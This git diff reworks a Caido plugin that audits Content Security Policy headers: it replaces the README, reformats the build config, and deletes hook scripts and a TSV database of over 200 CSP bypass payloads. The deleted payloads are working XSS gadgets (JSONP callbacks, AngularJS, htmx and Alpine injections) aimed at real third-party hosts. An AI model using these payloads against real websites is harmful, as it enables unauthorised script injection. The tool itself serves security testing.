- parser = argparse.ArgumentParser(description="Generate auto-docs for MDX files") - parser.add_argument("--directory", help="Directory containing MDX files", default="docs") - parser.add_argument("--pattern", default="**/*.mdx", help="File pattern to match") - parser.add_argument( - "--source-paths", - nargs="+", - default=["dreadnode"], - help="Python source paths for module discovery", - ) - parser.add_argument( - "--show-if-no-docstring", - type=bool, - default=False, - help="Show module/class/function even if no docstring is present", - ) - parser.add_argument("--theme", default="material", help="Theme to use for rendering") - - args = parser.parse_args() - - # Create generator - generator = AutoDocGenerator( - source_paths=args.source_paths, - theme=args.theme, - show_if_no_docstring=args.show_if_no_docstring, - ) - - # Process directory - directory = Path(args.directory) - modified_count = generator.process_directory(directory, args.pattern) - - print(f"\n[+] Auto-doc generation complete. {modified_count} files were updated.") - - -if __name__ == "__main__": - main() diff --git a/.hooks/generate_pr_description.py b/.hooks/generate_pr_description.py deleted file mode 100644 index 78729e8..0000000 --- a/.hooks/generate_pr_description.py +++ /dev/null @@ -1,87 +0,0 @@ -# /// script -# requires-python = ">=3.10" -# dependencies = [ -# "rigging", -# "typer", -# ] -# /// - -import asyncio -import subprocess -import typing as t - -import typer - -import rigging as rg - -TRUNCATION_WARNING = "\n---\n**Note**: Due to the large size of this diff, some content has been truncated." - - -@rg.prompt -def generate_pr_description(diff: str) -> t.Annotated[str, rg.Ctx("markdown")]: # type: ignore[empty-body] - """ - Analyze the provided git diff and create a PR description in markdown format. - - <guidance> - - Keep the summary concise and informative. - - Use bullet points to structure important statements. - - Focus on key modifications and potential impact - if any. - - Do not add in general advice or best-practice information. - - Write like a developer who authored the changes. - - Prefer flat bullet lists over nested. - - Do not include any title structure. - - If there are no changes, just provide "No relevant changes." - - Order your bullet points by importance. - </guidance> - """ - - -def get_diff(base_ref: str, source_ref: str, *, exclude: list[str] | None = None) -> str: - """ - Get the git diff between two branches. - """ - - merge_base = subprocess.run( - ["git", "merge-base", source_ref, base_ref], - capture_output=True, - text=True, - check=True, - ).stdout.strip() - - diff_command = ["git", "diff", "--no-color", merge_base, source_ref] - if exclude: - diff_command.extend(["--", ".", *[f":(exclude){path}" for path in exclude]]) - - diff_text = subprocess.run( - diff_command, - capture_output=True, - text=True, - check=True, - ).stdout - - return diff_text - - -def main( - base_ref: str = "origin/main", - source_ref: str = "HEAD", - generator_id: str = "openai/o3-mini", - max_diff_lines: int = 10_000, - exclude: list[str] | None = None, -) -> None: - """ - Use rigging to generate a PR description from a git diff. - """ - - diff = get_diff(base_ref, source_ref, exclude=exclude) - diff_lines = diff.split("\n") - if len(diff_lines) > max_diff_lines: - diff = "\n".join(diff_lines[:max_diff_lines]) + TRUNCATION_WARNING - - description = asyncio.run(generate_pr_description.bind(generator_id)(diff)) - - print(description) - - -if __name__ == "__main__": - typer.run(main) diff --git a/.hooks/linters/yamllint.yaml b/.hooks/linters/yamllint.yaml deleted file mode 100644 index 32312e4..0000000 --- a/.hooks/linters/yamllint.yaml +++ /dev/null @@ -1,12 +0,0 @@ ---- -extends: default - -rules: - line-length: - max: 400 - level: warning - truthy: false - comments: - min-spaces-from-content: 1 - braces: disable - indentation: disable diff --git a/.hooks/post_merge.sh b/.hooks/post_merge.sh deleted file mode 100755 index 2f8daf9..0000000 --- a/.hooks/post_merge.sh +++ /dev/null @@ -1,38 +0,0 @@ -#!/bin/bash - -# Get pre-merge hash from the target branch -old_hash=$(git show ORIG_HEAD:poetry.lock | md5sum 2> /dev/null || echo "") - -# Get current hash -new_hash=$(md5sum poetry.lock 2> /dev/null || echo "") - -# Compare and run poetry install if changed -if [ "$old_hash" != "$new_hash" ]; then - echo "📦 Root dependencies changed. Running poetry install..." - poetry install || { - echo "❌ Failed to update dependencies" - exit 1 - } - echo "✅ Root dependencies updated!" -else - echo "📦 No root dependency changes" -fi - -# Get pre-merge hash from the target branch -old_hash=$(git show ORIG_HEAD:components/api/poetry.lock | md5sum 2> /dev/null || echo "") - -# Get current hash -new_hash=$(md5sum components/api/poetry.lock 2> /dev/null || echo "") - -# Compare and run poetry install if changed -if [ "$old_hash" != "$new_hash" ]; then - echo "📦 API dependencies changed. Running poetry install..." - cd components/api || exit - if ! poetry install --with dev; then - echo "❌ Failed to update dependencies" - exit 1 - fi - echo "✅ API dependencies updated!" -else - echo "📦 No API dependency changes" -fi diff --git a/.hooks/prettier.sh b/.hooks/prettier.sh deleted file mode 100755 index c5e2ad3..0000000 --- a/.hooks/prettier.sh +++ /dev/null @@ -1,37 +0,0 @@ -#!/bin/bash -set -euo pipefail - -# Check if npm is installed -if ! command -v npm &> /dev/null; then - echo 'Error: npm is not installed.' >&2 - exit 1 -fi - -# Check if Prettier is installed, install it if missing -if ! command -v prettier &> /dev/null; then - echo 'Error: Prettier is not installed.' >&2 - echo 'Installing Prettier...' - npm install -g prettier -fi - -# Verify Prettier is installed -if ! command -v prettier &> /dev/null; then - echo 'Error: Prettier installation failed.' >&2 - exit 1 -fi - -# Run Prettier on staged .json, .yaml, and .yml files -echo "Running Prettier on staged files..." - -# List all staged files, filter for the desired extensions, and run Prettier -git diff --cached --name-only --diff-filter=d | - grep -E '\.(json|ya?ml)$' | - xargs -I {} prettier --write {} - -# Add the files back to staging area as Prettier may have modified them -git diff --name-only --diff-filter=d | - grep -E '\.(json|ya?ml)$' | - xargs git add - -echo "Prettier formatting completed." -exit 0 diff --git a/.mise/config.toml b/.mise/config.toml new file mode 100644 index 0000000..95a863a --- /dev/null +++ b/.mise/config.toml @@ -0,0 +1,13 @@ +[tools] +node = "20" +pnpm = "9" + +[tasks.validate] +description = "Run all validation checks (install, typecheck, lint, test, knip)" +run = """ +pnpm install --frozen-lockfile +pnpm typecheck +pnpm lint +pnpm test +pnpm knip +""" diff --git a/.npmrc b/.npmrc deleted file mode 100644 index 61a4cd6..0000000 --- a/.npmrc +++ /dev/null @@ -1,2 +0,0 @@ -min-release-age=3 -ignore-scripts=true diff --git a/.pre-commit-config.yaml b/.pre-commit-config.yaml deleted file mode 100644 index b318acd..0000000 --- a/.pre-commit-config.yaml +++ /dev/null @@ -1,30 +0,0 @@ -repos: - # Standard pre-commit hooks - - repo: https://github.com/pre-commit/pre-commit-hooks - rev: cef0300fd0fc4d2a87a85fa2093c6b283ea36f4b #v5.0.0 - hooks: - - id: check-added-large-files - args: [--maxkb=36000] - - id: check-executables-have-shebangs - - id: check-shebang-scripts-are-executable - - id: check-json - - id: check-yaml - - id: trailing-whitespace - exclude: \.(ts|vue|css)$ - - # Github actions - - repo: https://github.com/rhysd/actionlint - rev: 5db9d9cde2f3deb5035dea3e45f0a9fff2f29448 #v1.7.4 - hooks: - - id: actionlint - name: Check Github Actions - args: ["--ignore", "SC2102"] - - - repo: local - hooks: - # Ensure our GH actions are pinned to a specific hash - - id: check-github-actions - name: Check GitHub Actions for Pinned Dependencies - entry: python .hooks/check_pinned_hash_dependencies.py - language: python - files: \.github/.*\.yml$ diff --git a/.secrets.baseline b/.secrets.baseline deleted file mode 100644 index e69de29..0000000 diff --git a/CODEOWNERS b/CODEOWNERS deleted file mode 100644 index 033d561..0000000 --- a/CODEOWNERS +++ /dev/null @@ -1 +0,0 @@ -* @GangGreenTemperTatum \ No newline at end of file diff --git a/README.md b/README.md index ae5d8da..68647eb 100644 --- a/README.md +++ b/README.md @@ -1,212 +1,70 @@ -# CSP Auditor - <div align="center"> - -_A comprehensive Content Security Policy (CSP) vulnerability scanner plugin for Caido, designed to automatically detect and analyze CSP headers for common security misconfigurations and vulnerabilities with easily available applicable gadgets._ - -Brought to you by [@GangGreenTemperTatum](https://github.com/GangGreenTemperTatum), proud ambassador of the [Caido](https://caido.io/ambassadors) community! - -_Hack the planet 🤘_ - -[![GitHub forks](https://img.shields.io/github/forks/GangGreenTemperTatum/csp-auditor?style=social)](https://github.com/GangGreenTemperTatum/csp-auditor/network/members) -[![GitHub issues](https://img.shields.io/github/issues/GangGreenTemperTatum/csp-auditor)](https://github.com/GangGreenTemperTatum/csp-auditor/issues) -[![GitHub release (latest by date)](https://img.shields.io/github/v/release/GangGreenTemperTatum/csp-auditor)](https://github.com/GangGreenTemperTatum/csp-auditor/releases) -[![GitHub stars](https://img.shields.io/github/stars/GangGreenTemperTatum/csp-auditor?style=social)](https://github.com/GangGreenTemperTatum/csp-auditor/stargazers) -[![License](https://img.shields.io/github/license/GangGreenTemperTatum/csp-auditor?branch=main)](https://github.com/GangGreenTemperTatum/csp-auditor/blob/main/LICENSE) - -[Report Bug](https://github.com/GangGreenTemperTatum/csp-auditor/issues) • -[Request Feature](https://github.com/GangGreenTemperTatum/csp-auditor/issues) - -![csp-auditor main panel](./assets/public/csp-auditor-main-panel.png) - -CSP Auditor is now available via the [Caido Plugin Library](https://caido.io/plugins)! 🥳 CSP Auditor was [submitted to the Caido Plugin Library](https://github.com/caido/store/pull/41) and is approved, it will be available for installation directly from the Caido plugin store page. - -[https://caido.io/plugins](./public/images/caido-plugin-store.png) - + <img width="1000" alt="image" src="https://github.com/caido-community/.github/blob/main/content/banner.png?raw=true"> + + <br /> + <br /> + <a href="https://github.com/caido-community" target="_blank">GitHub</a> + <span>  •  </span> + <a href="https://developer.caido.io/" target="_blank">Documentation</a> + <span>  •  </span> + <a href="https://links.caido.io/www-discord" target="_blank">Discord</a> + <br /> + <hr /> </div> ---- - -- [CSP Auditor](#csp-auditor) - - [Overview](#overview) - - [Features](#features) - - [Quick Start](#quick-start) - - [Prerequisites](#prerequisites) - - [Installation](#installation) - - [Install from source (without auto-updates):](#install-from-source-without-auto-updates) - - [Usage](#usage) - - [Dashboard \& Analysis](#dashboard--analysis) - - [Vulnerability Detection](#vulnerability-detection) - - [Bypass Database](#bypass-database) - - [Configuration](#configuration) - - [Contributing](#contributing) - - [Adding New Bypass Gadgets](#adding-new-bypass-gadgets) - - [General Development](#general-development) - - [License](#license) - - [Star History](#star-history) - -## Overview - -CSP Auditor is a Caido plugin that helps you monitor and analyze Content Security Policies (CSP) in web applications, it is designed to mimic the [Burp Suite extension](https://github.com/portswigger/csp-auditor)'s functionality with additional improvements and integration with [`cspbypass.com`](https://cspbypass.com) for a built-in bypass database of real-world CSP bypass techniques, directly in Caido! - -## Features - -- **Real-time CSP Analysis**: Automatically analyzes CSP headers from intercepted HTTP responses -- **34+ Vulnerability Checks**: Comprehensive detection of CSP misconfigurations including: - - Script wildcard sources and unsafe directives - - JSONP bypass risks and AngularJS template injection - - AI/ML and Web3 service integration risks - - Missing Trusted Types and essential directives - - Deprecated headers and vulnerable library hosts -- **209+ Bypass Payloads**: Integrated database of real-world CSP bypass techniques from [CSPBypass research](./data/csp-bypass-data.tsv) - > A thank you to Rennie Pak and contributors of the project for the original [CSP gadgets](https://cspbypass.com/) 🙏 -- **Searchable Bypass Database**: Filter and copy bypass payloads directly from the plugin interface -- **Vulnerability Modals**: Detailed vulnerability information with relevant bypass examples and payload copying -- **Configurable Detection**: Enable/disable specific vulnerability checks via settings panel -- **Caido Findings Integration**: Automatically create findings for detected vulnerabilities -- **Scope Awareness**: Respect Caido's project scope settings for targeted analysis -- **Export Functionality**: Export findings as JSON or CSV for reporting -- **Dashboard Statistics**: Overview of analyzed policies, vulnerabilities by severity, and detection trends - -<!-- Come [join](https://discord.com/invite/Xkafzujmuh) the **awesome** Caido discord channel and come speak to me about CSP Auditor in it's [dedicated channel](https://discord.com/channels/843915806748180492/1407063905511145653)! --> - ---- - -## Quick Start +# CSP Auditor -### Prerequisites +Content Security Policy vulnerability scanner and analyzer for Caido. Automatically detects CSP headers in HTTP responses, analyzes them against 20+ security checks, and reports findings with remediation guidance. -- [Caido](https://caido.io) (latest version) -- Node.js and pnpm (for development) +## Features -### Installation +- Real-time CSP header detection via response interception +- 20+ vulnerability checks across 7 categories (Critical, Modern Threats, Missing Features, Policy Weaknesses, Style Issues, Legacy Issues, Advanced) +- Built-in CSP bypass database with 205 payloads from security research +- Configurable check presets (Aggressive, Recommended, Light) +- Export findings as JSON or CSV +- Scope-aware analysis (respects Caido project scope) +- Auto-creation of Caido findings for detected vulnerabilities -<!-- -### Method 1 - Install directly in Caido (recommended): +## Installation -1. Open Caido, navigate to the `Plugins` sidebar page and then to the `Community Store` tab -2. Find `csp-auditor` and click `Install` -3. Done! 🎉 +### From Plugin Store -### Method 2 - Install from source (without auto-updates): ---> +1. Open Caido +2. Navigate to **Plugins** +3. Search for "CSP Auditor" +4. Click **Install** -### Install from source (without auto-updates): +### Manual Installation -1. **Clone the repository:** - ```bash - git clone https://github.com/GangGreenTemperTatum/csp-auditor.git - cd csp-auditor - ``` +1. Install dependencies: -2. **Install dependencies:** ```bash pnpm install ``` -3. **Build the plugin:** +2. Build the plugin: + ```bash pnpm build ``` -4. **Install in Caido:** - - Open Caido - - Go to Settings > Plugins - - Click "Install from file" - - Select the built plugin file from the `dist/` directory - ---- - -### Usage +3. Install in Caido: + - Upload the `plugin_package.zip` file by clicking "Install Package" in Caido's plugins tab. -CSP Auditor automatically monitors your HTTP traffic and analyzes CSP headers in real-time. Once installed, it works seamlessly in the background. +## Usage -#### Dashboard & Analysis -- **View CSP Statistics**: Navigate to the CSP Auditor panel to see vulnerability counts by severity (high/medium/low/info) -- **Analyze Individual Responses**: Click on any analyzed response to view detailed CSP policy breakdown and specific vulnerabilities -- **Export Reports**: Export findings as JSON or CSV for documentation and reporting - -![csp-auditor analysis clickable](./assets/public/csp-auditor-analysis-clickable.png) -<div align="center"><i>csp-auditor analysis clickable</i></div> - -![csp-auditor analysis modal](./assets/public/csp-auditor-modal-1.png) -<div align="center"><i>csp-auditor analysis modal</i></div> - -![csp-auditor analysis modal](./assets/public/csp-auditor-modal-2.png) -<div align="center"><i>csp-auditor analysis modal</i></div> - -#### Vulnerability Detection -- **Real-time Alerts**: Automatic detection of 34+ CSP misconfigurations as you browse -- **Caido Findings**: Enable auto-creation of findings for detected vulnerabilities (toggle in settings) -- **Severity Classification**: Vulnerabilities categorized by impact level with detailed descriptions - -![csp-auditor vulnerability finding](./assets/public/csp-auditor-finding.png) -<div align="center"><i>csp-auditor finding</i></div> - -#### Bypass Database -- **209+ Real-world Bypasses**: Searchable database of CSP bypass techniques from security research -- **Copy Payloads**: One-click copying of bypass code for testing -- **Contextual Examples**: Relevant bypasses shown in vulnerability modals for immediate testing - -![csp-auditor bypass gadget db](./assets/public/csp-auditor-bypass-gadget-db.png) -<div align="center"><i>csp-auditor bypass gadget db</i></div> - -#### Configuration -- **Scope Awareness**: Respects Caido's project scope settings for targeted analysis -- **Customizable Checks**: Enable/disable specific vulnerability types via settings panel -- **Cache Management**: Clear analysis cache when needed - -![csp-audit settings](./assets/public/csp-audit-settings.png) -<div align="center"><i>csp-audit settings</i></div> - ---- +1. Browse to web applications that serve CSP headers +2. The plugin automatically intercepts responses and analyzes CSP policies +3. View results in the **Dashboard** tab with sortable columns +4. Expand rows to see individual findings with severity badges and remediation +5. Use the **Database** tab to search 205 bypass payloads +6. Configure which checks are active in the **Configuration** tab ## Contributing -### Adding New Bypass Gadgets - -CSP Auditor uses a comprehensive database of bypass techniques sourced from security research. To add new bypass gadgets: - -1. **Edit the TSV file**: Add new entries to `data/csp-bypass-data.tsv` in the following format: - ``` - domain.example.com <script src="https://domain.example.com/payload.js"></script> - ``` - - **Column 1**: Domain or service name - - **Column 2**: The actual bypass payload/code - - Use TAB character as separator (not spaces) - -2. **Technique Detection**: The plugin automatically categorizes bypasses by technique: - - JSONP (contains `callback=` or `cb=`) - - AngularJS (contains `ng-` or `angular`) - - Alpine.js (contains `x-init` or `alpine`) - - HTMX (contains `hx-`) - - Hyperscript (contains `_="`) - - Script Injection (contains `<script`) - - Event Handler (contains `<img` and `onerror`) - - Link Preload (contains `<link` and `onload`) - - Iframe Injection (contains `<iframe`) - - Generic XSS (fallback category) - -3. **Testing**: After adding entries, rebuild the plugin with `pnpm build` and test that new bypasses appear in the searchable database panel. - -### General Development - -1. Fork the repository -2. Create your feature branch (`git checkout -b feature/amazing-feature`) -3. Commit your changes (`git commit -m 'Add some amazing feature'`) -4. Push to the branch (`git push origin feature/amazing-feature`) -5. Open a Pull Request - ---- - -## License - -This project is licensed under the MIT License - see the [LICENSE](LICENSE) file for details. - ---- - -## Star History +Contributions are welcome! Please feel free to submit issues and enhancement requests. -[![Star History Chart](https://api.star-history.com/svg?repos=GangGreenTemperTatum/csp-auditor&type=Date)](https://star-history.com/#GangGreenTemperTatum/csp-auditor&Date) +## Acknowledgment -Made with ❤️ for the Caido community by [@GangGreenTemperTatum](https://github.com/GangGreenTemperTatum) \ No newline at end of file +Originally created by [GangGreenTemperTatum](https://github.com/GangGreenTemperTatum). diff --git a/assets/public/csp-audit-settings.png b/assets/public/csp-audit-settings.png deleted file mode 100644 index e3def27..0000000 Binary files a/assets/public/csp-audit-settings.png and /dev/null differ diff --git a/assets/public/csp-auditor-analysis-clickable.png b/assets/public/csp-auditor-analysis-clickable.png deleted file mode 100644 index 05dc513..0000000 Binary files a/assets/public/csp-auditor-analysis-clickable.png and /dev/null differ diff --git a/assets/public/csp-auditor-bypass-gadget-db.png b/assets/public/csp-auditor-bypass-gadget-db.png deleted file mode 100644 index c02e450..0000000 Binary files a/assets/public/csp-auditor-bypass-gadget-db.png and /dev/null differ diff --git a/assets/public/csp-auditor-finding.png b/assets/public/csp-auditor-finding.png deleted file mode 100644 index 2060068..0000000 Binary files a/assets/public/csp-auditor-finding.png and /dev/null differ diff --git a/assets/public/csp-auditor-main-panel.png b/assets/public/csp-auditor-main-panel.png deleted file mode 100644 index 34fd351..0000000 Binary files a/assets/public/csp-auditor-main-panel.png and /dev/null differ diff --git a/assets/public/csp-auditor-modal-1.png b/assets/public/csp-auditor-modal-1.png deleted file mode 100644 index e0baeed..0000000 Binary files a/assets/public/csp-auditor-modal-1.png and /dev/null differ diff --git a/assets/public/csp-auditor-modal-2.png b/assets/public/csp-auditor-modal-2.png deleted file mode 100644 index cce5771..0000000 Binary files a/assets/public/csp-auditor-modal-2.png and /dev/null differ diff --git a/caido.config.ts b/caido.config.ts index e0052da..1d3d1c5 100644 --- a/caido.config.ts +++ b/caido.config.ts @@ -1,5 +1,5 @@ -import { defineConfig } from '@caido-community/dev'; -import vue from '@vitejs/plugin-vue'; +import { defineConfig } from "@caido-community/dev"; +import vue from "@vitejs/plugin-vue"; import tailwindcss from "tailwindcss"; // @ts-expect-error no declared types at this time import tailwindPrimeui from "tailwindcss-primeui"; @@ -8,87 +8,74 @@ import path from "path"; import prefixwrap from "postcss-prefixwrap"; const id = "csp-auditor"; + export default defineConfig({ id, name: "CSP Auditor", - description: "Comprehensive Content Security Policy analysis and vulnerability detection plugin for Caido", - version: "1.0.3", + description: "Content Security Policy vulnerability scanner and analyzer", + version: "2.0.0", author: { - name: "Ads Dawson", - email: "ads@offsecmoose.xyz", - url: "https://github.com/GangGreenTemperTatum", + name: "Amr Elsagaei", + email: "amr@caido.io", + url: "https://amrelsagaei.com", }, plugins: [ { kind: "backend", - id: "backend", + id: "csp-auditor-backend", root: "packages/backend", }, { - kind: 'frontend', - id: "frontend", - root: 'packages/frontend', + kind: "frontend", + id: "csp-auditor-frontend", + root: "packages/frontend", backend: { - id: "backend", + id: "csp-auditor-backend", }, vite: { plugins: [vue()], build: { rollupOptions: { external: [ - '@caido/frontend-sdk', - "@codemirror/state", - "@codemirror/view", + "@caido/frontend-sdk", "@codemirror/autocomplete", "@codemirror/commands", + "@codemirror/language", "@codemirror/lint", "@codemirror/search", - "@codemirror/language", + "@codemirror/state", + "@codemirror/view", "@lezer/common", "@lezer/highlight", - "@lezer/lr" - ] - } + "@lezer/lr", + "vue", + ], + }, }, resolve: { - alias: [ - { - find: "@", - replacement: path.resolve(__dirname, "packages/frontend/src"), - }, - ], + alias: { + "@": path.resolve(__dirname, "packages/frontend/src"), + }, }, css: { postcss: { plugins: [ - // This plugin wraps the root element in a unique ID - // This is necessary to prevent styling conflicts between plugins prefixwrap(`#plugin--${id}`), - tailwindcss({ corePlugins: { preflight: false, }, content: [ - './packages/frontend/src/**/*.{vue,ts}', - './node_modules/@caido/primevue/dist/primevue.mjs' + "./packages/frontend/src/**/*.{vue,ts}", + "./node_modules/@caido/primevue/dist/primevue.mjs", ], - // Check the [data-mode="dark"] attribute on the <html> element to determine the mode - // This attribute is set in the Caido core application darkMode: ["selector", '[data-mode="dark"]'], - plugins: [ - - // This plugin injects the necessary Tailwind classes for PrimeVue components - tailwindPrimeui, - - // This plugin injects the necessary Tailwind classes for the Caido theme - tailwindCaido, - ], - }) - ] - } - } - } - } - ] -}); \ No newline at end of file + plugins: [tailwindPrimeui, tailwindCaido], + }), + ], + }, + }, + }, + }, + ], +}); diff --git a/data/csp-bypass-data.tsv b/data/csp-bypass-data.tsv deleted file mode 100644 index 9db5f23..0000000 --- a/data/csp-bypass-data.tsv +++ /dev/null @@ -1,210 +0,0 @@ -Domain Code -7b936.v.fwmrm.net <script src="https://7b936.v.fwmrm.net/ad/g/1?nw=1&csid=1&resp=json&cbfn=alert(1)-"></script> -a.huodong.mi.com <script src="https://a.huodong.mi.com/postfree/postfree?callback=alert"></script> -acs.aliexpress.com <script src="https://acs.aliexpress.com/h5/mtop.aliexpress.address.shipto.division.get/1.0/?type=jsonp&dataType=jsonp&callback=alert"></script> -aax-eu.amazon.com <script src="https://aax-eu.amazon.com/e/xsp/getAdj?callback=alert(1)-"></script> -accdn.lpsnmedia.net <script src="https://accdn.lpsnmedia.net/api/account/1/configuration/engagement-window/window-confs/1?cb=alert"></script> -accounts.google.com <script src="https://accounts.google.com/o/oauth2/revoke?callback=alert(1337)"></script> -acs.youku.com <script src="https://acs.youku.com/h5/mtop.youku.playlog.open.get/1.0/?jsv=2.6.1&appKey=24679788&t=1734359327631&sign=6b8f8b6abb27c68582606eed336c887d&api=mtop.youku.playlog.open.get&v=1.0&dataType=jsonp&jsonpIncPrefix=headerRecord1734359327618&type=jsonp&callback=alert&data={%22nlid%22%3A%22XlQcF5xQrCcCAWoLKdGqIOhS%22%2C%22uid%22%3A%22%22%2C%22pageLength%22%3A100%2C%22timestamp%22%3A%221734359327617%22%2C%22appKey%22%3A%22qPbb2hfIYugHjMaj%22%2C%22appName%22%3A%22pc%22%2C%22hwClass%22%3A1%2C%22deviceName%22%3A%22web%22%2C%22isPlayController%22%3A1%2C%22ccode%22%3A%220502%22%2C%22clientDrmAbility%22%3A3}"></script> -ajax.googleapis.com <script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.8.3/angular.js"></script><div ng-app><img src=x ng-on-error="window=$event.target.ownerDocument.defaultView;window.alert(window.origin);"> -anchor.digitalocean.com <script src="https://anchor.digitalocean.com/index.php/form/getForm?munchkinId=113-DTN-266&form=1402&callback=alert"></script> -a.config.skype.com <script src="https://a.config.skype.com/config/v1/SkypeLyncWebExperience/905_1.2.5.0?apikey=shareButton&fingerprint=0487c2fb-967c-4d8d-9635-75249326f72e&callback=alert"></script> -ap.lijit.com <script src="https://ap.lijit.com/rtb/bid?callback=alert&br={%22id%22:%221%22,%22site%22:{%22domain%22:%22x%22,%22page%22:%22x%22}}"></script> -api.bazaarvoice.com <script src="https://api.bazaarvoice.com/data/batch.json?passkey=e75powr7wqhg1ah5seu00zawf&callback=alert"></script> -api.bing.com <script src="https://api.bing.com/osjson.aspx?query=x&JsonType=callback&JsonCallback=alert"></script> -api.chartbeat.com <script src="https://api.chartbeat.com/toppages/?jsonp=alert(1)-"></script> -api.cxense.com <script src="https://api.cxense.com/profile/user/segment?callback=alert"></script> -api.dailymotion.com <script src="https://api.dailymotion.com/video/x5gv6be?callback=alert()"></script> -api.duckduckgo.com <script src="https://api.duckduckgo.com/?q=x&callback=alert&format=json"></script> -api.flickr.com <script src="https://api.flickr.com/services/feeds/photos_friends.gne?user_id=44979707@N00&friends=0&display_all=1&format=json&jsoncallback=alert"></script> -api.forismatic.com <script src="https://api.forismatic.com/api/1.0/?format=jsonp&method=getQuote&jsonp=alert&lang=en"></script> -api.getdrip.com <script src="https://api.getdrip.com/client/forms/show?callback=alert(1)-"></script> -api.ipify.org <script src="https://api.ipify.org/?format=jsonp&callback=alert(1)//"></script> -api.m.jd.com <script src="https://api.m.jd.com/api?appid=x&functionId=x&jsonp=alert(document.domain)//"></script> -api.map.baidu.com <script src="https://api.map.baidu.com/api?v=2.0&ak=&s=1&callback=alert(document.domain)"></script> -api.mixpanel.com <script src="https://api.mixpanel.com/track/?callback=alert(1337)"></script> -api.olark.com <script src="https://api.olark.com/2.0/visitors/z1nRAdDubyUjGyih018BZ0P04rBy00W3?_callback=alert&_method=PUT"></script> -api.pinterest.com <script src="https://api.pinterest.com/v1/urls/count.json?callback=alert&url=x"></script> -api.stackexchange.com <script src="https://api.stackexchange.com/2.2/me?callback=alert(1)-"></script> -api.swiftype.com <script src="https://api.swiftype.com/api/v1/public/engines/search.json?callback=alert&engine_key=JDuYRnCLSDZzYWgBkoSB"></script> -api.twitter.com <script src="https://api.twitter.com/1/statuses/oembed.json?url=https:%2F%2Ftwitter.com%2FMartina%2Fstatus%2F867710263654580226&callback=alert&_=1496363308445"></script> -api.tumblr.com <script src="https://api.tumblr.com/v2/blog/zoeappleseed.tumblr.com/posts/photo?tag=seed&offset=0&api_key=msIByDvkVk3gSr360nq2vmTkKIAvW4gNTB2dUYkvIO9NLwyxNy&jsonp=alert"></script> -api.livechatinc.com <script src="https://api.livechatinc.com/v3.6/customer/action/get_dynamic_configuration?license_id=x&url=x&channel_type=code&jsonp=alert"></script> -api.vk.com <script src="https://api.vk.com/method/wall.get?callback=alert(1337)"></script> -api.wordpress.org <script src="https://api.wordpress.org/stats/plugin/1.0/?slug=x&callback=alert"></script> -api.x.com <script src="https://api.x.com/1/statuses/oembed.json?url=https:%2F%2Ftwitter.com%2FMartina%2Fstatus%2F867710263654580226&callback=alert&_=1496363308445"></script> -apis.google.com <iframe id=x src="/%GG"></iframe><script src="https://apis.google.com/complete/search?client=chrome&q=<script>alert(document.domain)</script>&callback=x.contentDocument.write"></script> -apis.google.com <script src="https://apis.google.com/complete/search?client=chrome&q=x&callback=alert"></script> -apis.google.com <script src="https://apis.google.com/js/googleapis.proxy.js?onload=alert"></script> -app-sjint.marketo.com <script src="https://app-sjint.marketo.com/index.php/form/getKnownLead?callback=alert()"></script> -app.hushly.com <script src="https://app.hushly.com/runtime/visitor?callback=alert(1)//"></script> -app.link <script src="https://app.link/_r?sdk=web&callback=alert"></script> -apps.bdimg.com <body ng-app ng-csp><script src="https://apps.bdimg.com/libs/angular.js/1.4.6/angular.min.js"></script><input autofocus ng-focus="$event.composedPath()|orderBy:'[].constructor.from([1],alert)'"></body> -assets.grubhub.com <body ng-app ng-csp><script src="https://assets.grubhub.com/libs/js/angular/1.8.3/angular.min.js"></script><input autofocus ng-focus="$event.composedPath()|orderBy:'[].constructor.from([1],alert)'"></body> -ct.beslist.nl <script src="https://ct.beslist.nl/ct_refresh?shopid=%22;%0a%0dalert(1);%20//%20"></script> -bookmark.hatenaapis.com <script src="https://bookmark.hatenaapis.com/count/entry?url=x&callback=alert"></script> -c.y.qq.com <script src="https://c.y.qq.com/v8/fcg-bin/v8.fcg?¬ice=0&format=jsonp&channel=singer&page=list&jsonpCallback=alert"></script> -cas.criteo.com <script src="https://cas.criteo.com/delivery/0.1/napi.jsonp?zoneid=377600&callback=alert(1)"></script> -cdn.arkoselabs.com <script src="https://cdn.arkoselabs.com/fc/a/?callback=alert"></script> -cdn.bootcdn.net <script src="https://cdn.bootcdn.net/ajax/libs/angular.js/1.8.3/angular.min.js"></script><div ng-app><img src=x ng-on-error="window=$event.target.ownerDocument.defaultView;window.alert(window.origin);"> -cdn.bootcss.com <script src="https://cdn.bootcss.com/angular.js/1.8.3/angular.min.js"></script><div ng-app><img src=x ng-on-error="window=$event.target.ownerDocument.defaultView;window.alert(window.origin);"> -cdn.jsdelivr.net <script src="https://cdn.jsdelivr.net/gh/renniepak/xss/xss.js"></script> -cdn.jsdelivr.net <script src="https://cdn.jsdelivr.net/npm/angular@1.8.3/angular.min.js"></script><div ng-app><img src=x ng-on-error="window=$event.target.ownerDocument.defaultView;window.alert(window.origin);"> -cdn.jsdelivr.net <script src="https://cdn.jsdelivr.net/npm/htmx.org"></script><any hx-trigger="x[1)}),alert(origin)//]"> -cdn.shopify.com <script src="https://cdn.shopify.com/s/files/1/0714/7936/1848/files/a.js"></script> -cdn.staticfile.org <script src="https://cdn.staticfile.org/angular.js/1.8.3/angular.min.js"></script><div ng-app><img src=x ng-on-error="window=$event.target.ownerDocument.defaultView;window.alert(window.origin);"> -cdn.syncfusion.com <body ng-app ng-csp><script src="https://cdn.syncfusion.com/js/assets/external/angular.min.js"></script><input autofocus ng-focus="$event.composedPath()|orderBy:'[].constructor.from([1],alert)'"></body> -cdnjs.cloudflare.com <script src="https://cdnjs.cloudflare.com/ajax/libs/alpinejs/3.10.5/cdn.min.js"></script><div x-init="alert(1)"> -cdnjs.cloudflare.com <script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.3/angular.js"></script><div ng-app><img src=x ng-on-error="window=$event.target.ownerDocument.defaultView;window.alert(window.origin);"> -challenges.cloudflare.com <script src="https://challenges.cloudflare.com/turnstile/v0/api.js?onload=alert"></script> -client-api.arkoselabs.com <script src="https://client-api.arkoselabs.com/fc/a/?callback=alert"></script> -client.crisp.chat <script src="https://client.crisp.chat/settings/website/x/?callback=-alert(1)//"></script> -code.angularjs.org <script src="https://code.angularjs.org/1.8.2/angular.min.js"></script><div ng-app><img src=x ng-on-error="window=$event.target.ownerDocument.defaultView;window.alert(window.origin);"> -commerce.coinbase.com <script src="https://commerce.coinbase.com/v1/checkout.js?onload=alert"></script> -common.like.naver.com <script src="https://common.like.naver.com/v1/search/contents?callback=alert&q=x"></script> -connect.mail.ru <script 